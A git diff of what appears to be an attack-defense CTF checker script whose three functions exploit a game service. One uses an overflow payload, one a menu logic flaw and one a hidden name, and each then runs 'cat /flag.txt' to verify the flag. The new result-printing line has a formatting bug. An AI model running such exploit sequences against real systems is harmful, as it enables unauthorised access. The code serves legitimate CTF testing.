diff --git a/checker.py b/checker.py
index 2ffd3f3..6b1dc47 100644
--- a/checker.py
+++ b/checker.py
@@ -6,99 +6,95 @@ TOTAL_TEAMS = 1
 FORMAT = "SlashRootCTF"
 
 
-def run():
-    # return process(FILENAME)
-    return remote("127.0.0.1", 60204)
+def poc0(host, port):
+    with remote(host, port) as p:
+        p.recvuntil(">")
+        p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01"))
+        msg = p.recvuntil(">")
+        # print(msg)
+        if "young" in msg:
+            p.sendline("y")
+            p.recvuntil(">")
+            p.sendline("2")
+            p.recvuntil(">")
+            p.sendline("4")
+            p.recvuntil(">")
+            p.sendline("y")
+            for _ in xrange(10):
+                p.recvuntil(">")
+                p.sendline("99")
+            p.sendline("cat /flag.txt")
+            flag = p.recvuntil("}")
+            # print flag
+            if FORMAT in flag:
+                return True
+            else:
+                return False
+        else:
+            return False
 
 
-def poc0(host, port):
-    p = remote(host, port)
-    p.recvuntil(">")
-    p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01"))
-    msg = p.recvuntil(">")
-    # print(msg)
-    if "young" in msg:
-        p.sendline("y")
+def poc1(host, port):
+    with remote(host, port) as p:
         p.recvuntil(">")
-        p.sendline("2")
+        p.sendline("Leo")
+        p.recvuntil(">")
+        p.sendline("y")
+        for _ in range(2):
+            p.recvuntil(">")
+            p.sendline("3")
+            p.recvuntil(">")
+            p.sendline("0")
+            if "Who" in p.recvuntil(">"):
+                return False
+            p.sendline("y")
+            p.recvuntil(">")
+            p.sendline("1")
         p.recvuntil(">")
         p.sendline("4")
         p.recvuntil(">")
         p.sendline("y")
-        for _ in xrange(10):
+        for _ in range(10):
             p.recvuntil(">")
             p.sendline("99")
         p.sendline("cat /flag.txt")
         flag = p.recvuntil("}")
-        # print flag
         if FORMAT in flag:
             return True
         else:
             return False
-    else:
-        return False
-
-
-def poc1(host, port):
-    p = remote(host, port)
-    p.recvuntil(">")
-    p.sendline("Leo")
-    p.recvuntil(">")
-    p.sendline("y")
-    for _ in range(2):
-        p.recvuntil(">")
-        p.sendline("3")
-        p.recvuntil(">")
-        p.sendline("0")
-        if "Who" in p.recvuntil(">"):
-            return False
-        p.sendline("y")
-        p.recvuntil(">")
-        p.sendline("1")
-    p.recvuntil(">")
-    p.sendline("4")
-    p.recvuntil(">")
-    p.sendline("y")
-    for _ in range(10):
-        p.recvuntil(">")
-        p.sendline("99")
-    p.sendline("cat /flag.txt")
-    flag = p.recvuntil("}")
-    if FORMAT in flag:
-        return True
-    else:
-        return False
 
 
 def poc2(host, port):
-    p = remote(host, port)
-    p.recvuntil(">")
-    p.sendline("__th3_w0rLd_D3str0Y3r_15_b4ck__")
-    p.recvuntil(">")
-    p.sendline("y")
-    p.recvuntil(">")
-    p.sendline("6")
-    if "Lv: 1000000" in p.recvuntil(">"):
-        p.sendline("2")
+    with remote(host, port) as p:
         p.recvuntil(">")
-        p.sendline("4")
+        p.sendline("__th3_w0rLd_D3str0Y3r_15_b4ck__")
         p.recvuntil(">")
         p.sendline("y")
-        for _ in xrange(10):
+        p.recvuntil(">")
+        p.sendline("6")
+        if "Lv: 1000000" in p.recvuntil(">"):
+            p.sendline("2")
             p.recvuntil(">")
-            p.sendline("99")
-        p.sendline("cat /flag.txt")
-        flag = p.recvuntil("}")
-        if FORMAT in flag:
-            return True
+            p.sendline("4")
+            p.recvuntil(">")
+            p.sendline("y")
+            for _ in xrange(10):
+                p.recvuntil(">")
+                p.sendline("99")
+            p.sendline("cat /flag.txt")
+            flag = p.recvuntil("}")
+            if FORMAT in flag:
+                return True
+            else:
+                return False
         else:
             return False
-    else:
-        return False
 
 
 if __name__ == "__main__":
     for i in range(1, TOTAL_TEAMS+1):
-        print poc0(HOST, (60004 + (i*100)))
-        print poc1(HOST, (60004 + (i*100)))
-        print poc2(HOST, (60004 + (i*100)))
+        r0 = poc0(HOST, (60004 + (i*100)))
+        r1 = poc1(HOST, (60004 + (i*100)))
+        r2 = poc2(HOST, (60004 + (i*100)))
+        print("Team [{}] {} {} {}" % (i, r0, r1, r2))